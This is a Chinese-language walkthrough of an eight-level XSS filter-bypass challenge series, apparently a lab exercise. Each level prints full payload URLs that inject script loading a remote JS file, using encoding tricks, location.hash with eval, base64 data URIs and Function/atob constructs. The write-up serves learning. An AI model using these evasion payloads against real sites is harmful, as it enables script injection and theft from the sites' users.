題目地址

xcao.vip/test

題目作者給出的解題思路

http://xcao.vip/test/xss/XSS修煉之獨孤九劍.pdf

獨孤九劍-第一式

題目

過濾了等號 =、小括號 (),要求載入任意 JS 程式碼。成功載入 http://xcao.vip/xss/alert.js 表示完成挑戰

方法一

首先應該思考,在 JavaScript 中,載入 JS 程式碼,有哪些方式?

首先想到了

<script src="http://xcao.vip/xss/alert.js"></script>

這是最基本的載入方式。

此時我們需要在頁面中載入這個 JS 程式碼,應該想到使用 document.write(),將上面的程式碼寫入 HTML 頁面,從而執行 JS 程式碼。

那麼如果要使用這個方法,還得在外面再使用一個 <script> 標籤。即:

<script>document.write(<script src="http://xcao.vip/xss/alert.js"></script>)</script>

然後再回到題目中來。

檢視 HTML 程式碼:

<html>
<head>
<meta charset="utf-8">
<title>獨孤九劍-第一式 Design by 香草</title>
</head>
<body>
<h2>過濾了 =(),少俠骨骼驚奇,必是練武奇才</h2>
<h2>要求載入任意JS程式碼,成功載入http://xcao.vip/xss/alert.js 表示完成挑戰</h2>
<input type="text" value="s">
</body>
</html>

題目只有一個輸入框,並且無法通過輸入框提交內容。而同時我們注意到位址列裡有通過 GET 方式提交的引數:



嘗試修改引數,成功修改了輸入框中的內容:



那麼 XSS 攻擊的點就在這裡。

根據頁面的原始碼,自己構造的 XSS 攻擊程式碼,首先應當將原本的 <input> 標籤閉合,即在 123123 後面跟上 ">



從原始碼中可以看到,自己輸入的 "> 成功將標籤閉合,原本存在的 "> 被孤立了出來:



此時我們就可以在後面跟上我們自己的 JS 程式碼進行 XSS 攻擊了:

"><script>document.write(<script src="http://xcao.vip/xss/alert.js"></script>)</script>

但是別忘了題目的過濾條件,在這裡等號 = 和小括號 () 不起作用。

接下來應當思考怎麼繞過。

通過查詢資料我們得知,可以用反引號代替小括號實現繞過。要繞過等號 = 的過濾,可以document.write() 中的內容進行 Unicode 編碼,即:

"><script>document.write`\u003c\u0073\u0063\u0072\u0069\u0070\u0074\u0020\u0073\u0072\u0063\u003d\u0022\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0078\u0063\u0061\u006f\u002e\u0076\u0069\u0070\u002f\u0078\u0073\u0073\u002f\u0061\u006c\u0065\u0072\u0074\u002e\u006a\u0073\u0022\u003e\u003c\u002f\u0073\u0063\u0072\u0069\u0070\u0074\u003e`</script>

提交內容,成功繞過:



完整 Payload:

http://xcao.vip/test/xss1.php?data=123123"><script>document.write`\u003c\u0073\u0063\u0072\u0069\u0070\u0074\u0020\u0073\u0072\u0063\u003d\u0022\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0078\u0063\u0061\u006f\u002e\u0076\u0069\u0070\u002f\u0078\u0073\u0073\u002f\u0061\u006c\u0065\u0072\u0074\u002e\u006a\u0073\u0022\u003e\u003c\u002f\u0073\u0063\u0072\u0069\u0070\u0074\u003e`</script>

方法二

題目作者給出的一種方法:

http://xcao.vip/test/xss1.php?data=%22%3E%3Csvg%3E%3Cscript%3E%26%23x65%3B%26%23x76%3B%26%23x61%3B%26%23x6c%3B%26%23x28%3B%26%23x6c%3B%26%23x6f%3B%26%23x63%3B%26%23x61%3B%26%23x74%3B%26%23x69%3B%26%23x6f%3B%26%23x6e%3B%26%23x2e%3B%26%23x68%3B%26%23x61%3B%26%23x73%3B%26%23x68%3B%26%23x2e%3B%26%23x73%3B%26%23x6c%3B%26%23x69%3B%26%23x63%3B%26%23x65%3B%26%23x28%3B%26%23x31%3B%26%23x29%3B%26%23x29%3B%3C/script%3E%3C/svg%3E#with(document)body.appendChild(createElement('script')).src='http://xcao.vip/test/alert.js'

我們來分析這裡用了些什麼方法。

首先,原作者提到,自己使用了 <svg> 標籤,是因為在 <svg> 標籤中的 <script> 標籤可以使用 HTML 編碼,從而避開題目的過濾。

解碼後的內容為:

http://xcao.vip/test/xss1.php?data="><svg><script>eval(location.hash.slice(1))</script></svg>#with(document)body.appendChild(createElement('script')).src='http://xcao.vip/test/alert.js'

我們再將 HTML 編碼進行解碼,可得:

http://xcao.vip/test/xss1.php?data="><svg><script>eval(location.hash.slice(1))</script></svg>#with(document)body.appendChild(createElement('script')).src='http://xcao.vip/test/alert.js'

完整的構造這時才得以清晰展現在我們眼前。

首先是 eval() 函式,eval() 函式計算 JavaScript 字串,並把它作為指令碼程式碼來執行。

如果引數是一個表示式,eval() 函式將執行表示式。如果引數是 JavaScript 語句,eval()執行 JavaScript 語句

接下來是 location.hash.slice(1)hashlocation 物件中的一個屬性,是一個可讀可寫的字串,該字串是 URL 的錨部分(從 # 號開始的部分)

slice(start, end) 方法可提取字串的某個部分,並以新的字串返回被提取的部分

start 引數字串中第一個字元位置為 0,第二個字元位置為 1,以此類推。

因此,綜上可得,location.hash.slice(1) 的含義就是獲取 # 號之後的內容,即:

with(document)body.appendChild(createElement('script')).src='http://xcao.vip/test/alert.js'

這裡的 with 用法其實也可以替換成

document.body.appendChild(document.createElement('script')).src='http://xcao.vip/test/alert.js'

接下來進一步分析程式碼。

appendChild() 方法可向節點的子節點列表的末尾新增新的子節點。也就是說,從 DOM 樹的角度,這個方法向 body 節點的子節點列表的最後添加了一個 script 節點,相當於直接添加了一個 <script> 標籤

這樣一切都解釋得通了。妙哉!

獨孤九劍-第二式

題目

在第一式的基礎之上,增加了對點 . 的過濾

方法一

在這種情況下,document.write 這樣的用法肯定就不起作用了,得想想怎麼繞過對點 . 的過濾。

通過查詢資料我們可以得知,JavaScript 的物件的屬性的讀取可以通過類似陣列的方式來進行,比如物件 documentwrite 方法就可以寫成 document['write']

這樣就成功繞過了題目對點 . 的過濾。

基於第一式方法一,我們直接將 document.write 寫成 document['write'],其他照舊,則有了:

http://xcao.vip/test/xss1.php?data=123123"><script>document['write']`\u003c\u0073\u0063\u0072\u0069\u0070\u0074\u0020\u0073\u0072\u0063\u003d\u0022\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0078\u0063\u0061\u006f\u002e\u0076\u0069\u0070\u002f\u0078\u0073\u0073\u002f\u0061\u006c\u0065\u0072\u0074\u002e\u006a\u0073\u0022\u003e\u003c\u002f\u0073\u0063\u0072\u0069\u0070\u0074\u003e`</script>

成功載入:

方法二

同第一式方法二一樣,由於本身構造的 # 錨點並不會作為引數被傳入後臺,並且經過 URL 解碼後的 HTML 編碼也不含有被過濾的點 .,因此第一式方法二的構造語句可以原封不動地拿來使用。即:

http://xcao.vip/test/xss2.php?data=%22%3E%3Csvg%3E%3Cscript%3E%26%23x65%3B%26%23x76%3B%26%23x61%3B%26%23x6c%3B%26%23x28%3B%26%23x6c%3B%26%23x6f%3B%26%23x63%3B%26%23x61%3B%26%23x74%3B%26%23x69%3B%26%23x6f%3B%26%23x6e%3B%26%23x2e%3B%26%23x68%3B%26%23x61%3B%26%23x73%3B%26%23x68%3B%26%23x2e%3B%26%23x73%3B%26%23x6c%3B%26%23x69%3B%26%23x63%3B%26%23x65%3B%26%23x28%3B%26%23x31%3B%26%23x29%3B%26%23x29%3B%3C/script%3E%3C/svg%3E#with(document)body.appendChild(createElement('script')).src='http://xcao.vip/test/alert.js'

成功載入:

方法三

題目作者給出的一種方法:

http://xcao.vip/test/xss2.php?data=xxx%22%3E%3Cscript%3EsetTimeout`\u0065\u0076\u0061\u006c\u0028\u006c\u006f\u0063\u0061\u0074\u0069\u006f\u006e\u002e\u0068\u0061\u0073\u0068\u002e\u0073\u006c\u0069\u0063\u0065\u0028\u0031\u0029\u0029`;%3C/script%3E#with(document)body.appendChild(createElement('script')).src='http://xcao.vip/xss/alert.js'

作者稱,這樣是通過 setTimeout 以及用反引號代替 (), 同時採用 Unicode 編碼繞過對 (). 的限制。

在這串程式碼中,setTimeout() 是屬於 window 的方法,該方法用於在指定的毫秒數後呼叫函式或計算表示式

這裡缺省了時間的引數,相當於不需要等待,直接執行。

中間的 Unicode 編碼的內容還是之前的 eval(location.hash.slice(1)),總體上思路和第一式方法二差不多。

獨孤九劍-第三式

題目

放開了 = 的過濾,新增了 &#\ 的過濾

方法一

新增了 &#\ 的過濾,這明顯就是衝著 HTML 編碼和 Unicode 編碼來的。

惡意不小啊

嘗試將之前的 Payload 經過二次編碼,想看看行不行,結果都沒彈出來。仔細想想突然發現作者把 = 的過濾給放開了!!!

那不就可以考慮一下:

<script src="http://xcao.vip/xss/alert.js"></script>

題目對點 . 進行了過濾,那麼 URL 編碼一下:

<script src="http://xcao%252evip/xss/alert%252ejs"></script>

這裡有個需要注意的地方,這裡第一次將 . 進行 URL 編碼後得到 %2e,但是還不夠,通過 GET 方式提交上去後,瀏覽器會自動幫我們解碼一次,又變回來了,那樣的話 . 還是會被過濾。

因此需要再將 % 進行 URL 編碼,得到 %252e。這樣瀏覽器解碼 %25%,不會再對 %2e 進行解碼,就可以繞過後端的過濾了。

成功彈窗:



提交之後的 HTML 程式碼就是這樣的:



完整 Payload:

http://xcao.vip/test/xss3.php?data="><script src="http://xcao%252evip/xss/alert%252ejs"></script>

這個方法也是題目作者使用的方法。

方法二

這個是在知乎上看到的一個方法。

先上 Payload:

http://xcao.vip/test/xss3.php?data="><script src="http://2130706433"></script>

接下來分析一下這個作者的思路。

他想到的是利用 PHP 的 302 重定向,在本地寫了一個 PHP 檔案,檔案的內容是這樣的:

<?php
header("Location: http://xcao.vip/xss/alert.js");
?>

也就是說,當訪問這個 PHP 檔案的時候,會自動跳轉到 http://xcao.vip/xss/alert.js 這個地址來。

然後他就在 Payload 中載入自己的本地 IP 地址,但前提是需要將自己本地的 Web 服務的網站首頁修改成這個 PHP 檔案。

接下來就會遇到一個問題:IP 地址中的 . 會遭到題目的過濾。於是這個作者將 IP 地址轉換成了十進位制形式:



然後就順利實現了繞過:



整體思路和方法一相比,大同小異,大體框架是一樣的,就是對 . 的繞過方式不一樣。從實現的簡單程度來說,方法一明顯要方便一些,但方法二也是值得思考的,說不定會用到更復雜的過濾情況呢。

獨孤九劍-第四式

題目

在上一題的基礎之上,又新增了 = 的過濾

哦豁,這下 src 屬性也用不了了

黔驢技窮,只能求助萬能的網友了。

方法一

直接上 Payload:

http://xcao.vip/test/xss4.php?data="><iframe></iframe><script>frames[0]['location']['replace']`data:text/html;base64,PHNjcmlwdCBzcmM9Imh0dHA6Ly94Y2FvLnZpcC94c3MvYWxlcnQuanMiPjwvc2NyaXB0Pg`</script>

然後分析這個程式碼是怎麼一回事。

首先是 <iframe> 標籤,這個標籤是幹嘛的?

<iframe> 標籤規定一個內聯框架,被用來在當前 HTML 文件中嵌入另一個文件。

說人話就是,在一個網頁中嵌入另外一個網頁,就像下圖這樣:



可以通過 src 屬性指定 URL。但是等號被過濾掉了,src 屬性用不了,怎麼辦?

這時用到了 frames[0].location.replace() 這個東西。

首先來看 frames 這個屬性,這個屬性返回視窗中所有命名的框架。也就是說,這個屬性會返回當前頁面中所有的 iframe 框架,是一個類似陣列的形式。

這裡選擇下標為 0 的框架,也就是第一個即我們自己構造的 <iframe> 標籤。

然後,location 獲取標籤的 URL,location.replace(url) 通過載入 URL 指定的文件來替換當前文件,這個方法是替換當前視窗頁面。

接下來就是最重要的 data 協議部分了。text/html 指定了資料格式,base64 指定了編碼型別為 base64 編碼。

在這之後,我們需要寫入替換的程式碼,因為要載入目的碼,所以還是沿用之前的 <script> 標籤:

<script src="http://xcao.vip/xss/alert.js"></script>

然後將這段程式碼進行 base64 加密:PHNjcmlwdCBzcmM9Imh0dHA6Ly94Y2FvLnZpcC94c3MvYWxlcnQuanMiPjwvc2NyaXB0Pg

成功彈窗:



以上就是這個方法所有的技術要點了。

整理一番下來,感覺又打開了新的大門

方法二

題目作者給出的一種做法。

Payload:

http://xcao.vip/test/xss4.php?data="><script>location['replace']`javascript:eval%2528eval%2528location%252ehash%252eslice%25281%2529%2529%2529`</script>#with(document)body.appendChild(createElement('script')).src='http://xcao.vip/xss/alert.js'

和方法一有相似之處,也使用了 location['replace'] 的做法。作者提到,他還用了 JavaScript 偽協議以及 URL 編碼。

先來說說 JavaScript 偽協議。

偽協議不同於 HTTP 、FTP 這類標準化協議,它是一種非標準化的協議,主要應用於關聯應用程式,較為特殊。

比如有的場景中會使用 tencent:// 來關聯 QQ,包括方法一使用的 data: 也是一種偽協議。

在 JavaScript 中,要使用偽協議,需要使用 javascript: 進行宣告,比如:

javascript:alert("hello world!")

這個特殊的協議型別聲明瞭其主體是任意的 JavaScript 程式碼,它由 JavaScript 的直譯器執行。

如果程式碼含有多個語句,必須使用分號 ; 將這些語句分隔開。

回到這個方法中來,在使用偽協議之後,作者使用了 eval(eval(location.hash.slice(1))),其中 eval(location.hash.slice(1)) 得到了

with(document)body.appendChild(createElement('script')).src='http://xcao.vip/xss/alert.js'

這一部分,然後再將這一部分執行,從而實現新增 <script> 標籤。

值得注意的是,將 eval(eval(location.hash.slice(1))) 進行 URL 編碼過後,仍需要對 % 進行二次編碼。

執行結果:

獨孤九劍-第五式

題目

在上一題基礎上,新增了對 % 的過濾,取消了對 = 的過濾。即在第三式基礎上,增加對 % 的過濾

好傢伙,這下 URL 編碼被 ban 掉了

方法一

回顧第三式的兩個方法,由於新增對 % 的過濾,顯然第一個方法已經不奏效了。

但我們驚奇地發現第二個方法貌似還能用。

因為是十進位制編碼,URL 中只含有數字,所以按理說能夠成功繞過。

果不其然,成功彈窗:



Payload:

http://xcao.vip/test/xss5.php?data="><script src="http://2130706433"></script>

這個方法也是題目作者採用的方法。

方法二

在第四式中,我們使用了一個 location['replace'] 搭配 base64 編碼的方法,發現這個方法由於沒有使用 %,同樣也適用於這道題的場景。

索性直接照搬:

http://xcao.vip/test/xss5.php?data="><iframe></iframe><script>frames[0]['location']['replace']`data:text/html;base64,PHNjcmlwdCBzcmM9Imh0dHA6Ly94Y2FvLnZpcC94c3MvYWxlcnQuanMiPjwvc2NyaXB0Pg`</script>

成功彈窗:



直接套模板,這道題就做得很舒服

獨孤九劍-第六式

題目

在上一題基礎上,增加對等號 = 的過濾

方法一

這一題的過濾依舊沒能覆蓋到 base64 所使用到的字元,所以 base64 直接殺瘋了,連破三關!

http://xcao.vip/test/xss6.php?data="><iframe></iframe><script>frames[0]['location']['replace']`data:text/html;base64,PHNjcmlwdCBzcmM9Imh0dHA6Ly94Y2FvLnZpcC94c3MvYWxlcnQuanMiPjwvc2NyaXB0Pg`</script>

成功彈窗:

方法二

題目作者給出的一個方法。

Payload:

http://xcao.vip/test/xss6.php/?data="><script>document['write']`<img ${location['hash']['slice']`1`}`</script>#/src='x'onerror=with(document)body.appendChild(createElement('script')).src='http://xcao.vip/test/alert.js'//

作者提到自己受思維定勢影響,很執著地要使用 hash 來儲存攻擊變數,走了不少彎路,最後還是發現,base64 真香!

讓我們來看看作者的思路是怎樣的。

為了繞過對 . 的過濾,作者使用了 document['write'],然後往介面寫入了一個 <img> 標籤。

在這個標籤中,我們看到了一個 ${} 的結構。

通過查詢資料,我們得知,這個結構被稱作模板字串,而 ${} 是模板字串中的佔位符,是 JavaScript 的版本標準 ECMAScript 6.0(簡稱 ES6)中的用法。

在模板字串中,{} 中的內容可以是字串,也可以是表示式,在輸出模板字串的時候,會先將表示式的值計算出來,然後再進行輸出

因此我們可以理解成,<img> 標籤先執行了 location.hash.slice(1),得到了:

/src='x'onerror=with(document)body.appendChild(createElement('script')).src='http://xcao.vip/test/alert.js'//

然後再嵌入到 <img> 標籤中,就相當於往頁面中插入了一個圖片,連結為 x 發生錯誤,然後執行我們後面的 with 部分。

但是在這裡我遇到了一點語法上的問題。

就是不明白這個 src 前面的 / 是怎麼一回事。

從執行結果來看,不帶 / 的話,<img> 標籤中的 src 前面會加上一個逗號 ,,進而使得這個標籤的語法不正確:

加上 / 過後,變成了這樣:

並且成功彈窗:



這個問題困擾了我很久,一直不知道怎麼回事,也找了很多資料,都沒看到有這方面的解釋。

人麻了

如果有大佬能看到並且知道原因的話,麻煩評論或者私信指點一下我吧,弟弟感激不盡!!!

獨孤九劍-第七式

題目

在上一題的基礎上,繼續增加對 <> 的過濾,輸出點從 <input> 標籤變到了 <script> 標籤中

這下標籤也不能用了,題目過濾越來越變態了

還是求助萬能的網友。

方法一

Payload:

http://xcao.vip/test/xss7.php?data="";document['write']`${String['fromCharCode']`60`%2B"iframe src"%2BString['fromCharCode']`61`%2B"data:text/html;base64,PHNjcmlwdCBzcmM9Imh0dHA6Ly94Y2FvLnZpcC94c3MvYWxlcnQuanMiPjwvc2NyaXB0Pg"%2BString['fromCharCode']`62`}`

接下來分析一下思路。

由於輸出點變了,到了 <script> 標籤,所以要看看頁面程式碼是怎樣的,方便做閉合:



接下來就嘗試構造 "";,閉合前一條語句的同時,也將其與後面的語句隔斷了,以便於我們構造後面的內容。

有點 SQL 堆疊注入的味道了。

然後又是使用 document['write'],往 HTML 頁面寫入內容。寫入的是一個模板字串,佔位符非常長:

${String['fromCharCode']`60`%2B"iframe src"%2BString['fromCharCode']`61`%2B"data:text/html;base64,PHNjcmlwdCBzcmM9Imh0dHA6Ly94Y2FvLnZpcC94c3MvYWxlcnQuanMiPjwvc2NyaXB0Pg"%2BString['fromCharCode']`62`}

首先是 String['fromCharCode'](),這個方法的作用是將 Unicode 編碼轉為一個字元,這裡的 String['fromCharCode'](60) 就是 <

然後根據模板字串的語法,和字串 iframe 之間,需要有一個 + 來進行拼接,但是需要注意的一點是,我們從始至終都是在題目的 URL 裡面輸入 Payload 的,縱觀全域性,這個 + 現在處在的位置是在 URL 裡面,如果不進行編碼轉換,會被當成空格,那麼就會出問題。

所以 %2B 就是這麼來的。

同理,String['fromCharCode'](61)=String['fromCharCode'](62)>,將模板字串佔位符中的程式碼翻譯一下就是:

<iframe src="data:text/html;base64,PHNjcmlwdCBzcmM9Imh0dHA6Ly94Y2FvLnZpcC94c3MvYWxlcnQuanMiPjwvc2NyaXB0Pg">

又回到了之前的 base64 大法,妙哉,妙哉!

方法二

題目作者給出的一種方法:

http://xcao.vip/test/xss7.php/?data=1;[]['filter']['constructor']`a${location['hash']['slice']`1`}```#with(document)body.appendChild(createElement('script')).src='http://xcao.vip/xss/alert.js'

讓我們來看看又用了些什麼神奇的姿勢。

首先是 []['filter']['constructor'] 這一部分,經查,這種語法是 JSFuck 的用法。

JSFuck 是一種深奧的 JavaScript 程式設計風格。以這種風格寫成的程式碼中僅使用 []()!+ 六種字元。

此程式設計風格的名字派生自僅使用較少符號寫程式碼的 Brainfuck 語言。與其他深奧的程式語言不同,以JSFuck風格寫出的程式碼不需要另外的編譯器或直譯器來執行,無論瀏覽器或 JavaScript 引擎中的原生 JavaScript 直譯器皆可直接執行。

鑑於 JavaScript 是弱型別語言,編寫者可以用數量有限的字元重寫 JavaScript 中的所有功能,且可以用這種方式執行任何型別的表示式。

JSFuck 常見的取值有以下這些:

false       =>  ![]
true => !![]
undefined => [][[]]
NaN => +[![]]
0 => +[]
1 => +!+[]
2 => !+[]+!+[]
10 => [+!+[]]+[+[]]
Array => []
Number => +[]
String => []+[]
Boolean => ![]
Function => []["filter"]
eval => []["filter"]["constructor"]( CODE )()
window => []["filter"]["constructor"]("return this")()

回到題目,根據上面這個對應關係,我們可以 []['filter']['constructor'] 對應成 eval,後面的部分已經很熟悉了,這裡就不再贅述了。

這裡也有一個不好理解的地方,在${location['hash']['slice'](1)} 這個地方的前面,作者添上了一個字元,說是不新增就會報錯,我自己也嘗試了一下,確實是這樣:

報錯顯示缺少形參。

填上之後就彈窗了:



難不成新增的字元就是做形參用的?

但是這個原理實在不能理解

獨孤九劍-第八式

題目

在上一題的基礎上,又新增了對 '"[] 的過濾

面對越來越變態的過濾方式,只能看看作者本人的做法了。

方法一

題目作者本人給出的方法:

<iframe src="http://xcao.vip/test/xss8.php/?data=Function`b${name}```" name="with(document)body.appendChild(createElement('script')).src='http://xcao.vip/xss/alert.js'"></iframe>

作者稱,他是直接新建了一個網頁,往檔案裡面寫入了這個程式碼。

這裡的 Function() 是一個匿名函式,沒有函式名。通過給變數 name 賦值,然後傳入模板字串,再執行 JavaScript 檔案。

點開這個網頁的時候,直接執行裡面的程式碼。

成功彈窗:



奇怪的姿勢又增加了!

方法二

http://xcao.vip/test/xss8.php?data=Function`b${atob`ZG9jdW1lbnQud3JpdGUoIjxzY3JpcHQgc3JjPSdodHRwOi8veGNhby52aXAveHNzL2FsZXJ0LmpzJz48L3NjcmlwdD4iKQ`}```

讓我們來看看又用了哪些新姿勢。

外層 Function() 函式是一樣的,這裡遇到了一個新方法 atob(),經查得知,atob() 方法用於解碼使用 base64 編碼的字串。

而裡面的字串解碼過後的內容是這樣的:

document.write("<script src='http://xcao.vip/xss/alert.js'></script>")

成功彈窗:



太棒了,學到許多(